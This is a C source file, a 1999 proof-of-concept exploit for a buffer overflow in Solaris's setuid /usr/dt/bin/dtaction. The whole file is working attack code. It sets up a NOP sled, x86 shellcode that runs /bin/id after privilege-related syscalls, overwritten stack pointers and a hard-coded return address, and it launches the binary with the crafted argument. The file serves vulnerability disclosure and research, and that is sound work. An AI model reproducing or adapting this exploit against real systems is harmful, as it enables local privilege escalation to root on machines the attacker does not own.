/*
 * dtaction_ov.c ( Solaris 7, 2.6, 2.5.1 )
 * Job de Haas
 * (c) ITSX bv 1999
 *
 * This program demonstrates an overflow problem in /usr/dt/bin/dtaction.
 * It has only been tested on Solaris 7 x86
 * assembly code has been taken from ex_dtprintinfo86.c by unewn4th@usa.net
 *
 */

#include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <pwd.h>

#define BUFLEN 998

char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id";

main()
{
    char *argp[6], *envp[3];
    char buf[2048];
    unsigned long *p;
    struct passwd *pw;
    int buflen;

    if ((pw = getpwuid(getuid())) == NULL) {
        perror("getpwuid");
        exit(1);
    }

    buflen = BUFLEN - strlen( pw->pw_name );

    memset(buf,0x90,buflen);

    strncpy( &buf[500], exploit_code, strlen(exploit_code));

    /* set some pointers to values that keep code running */
    p = (unsigned long *)&buf[buflen];
    *p++ = 0x37dc779b;
    *p++ = 0xdfaf6502;
    *p++ = 0x08051230;
    *p++ = 0x080479b8;

    /* the return address. */
    *p++ = 0x08047710;
    *p = 0;

    argp[0] = strdup("/usr/dt/bin/dtaction");
    argp[1] = strdup("-u");
    argp[2] = strdup(buf);
    argp[3] = strdup("Run");
    argp[4] = strdup("/usr/bin/id");
    argp[5] = NULL;

    if (!getenv("DISPLAY")) {
        printf("forgot to set DISPLAY\n");
        exit(1);
    }

    envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1);
    strcpy(envp[0],"DISPLAY=");
    strcat(envp[0],getenv("DISPLAY"));
    envp[1] = NULL;

    execve("/usr/dt/bin/dtaction",argp,envp);

}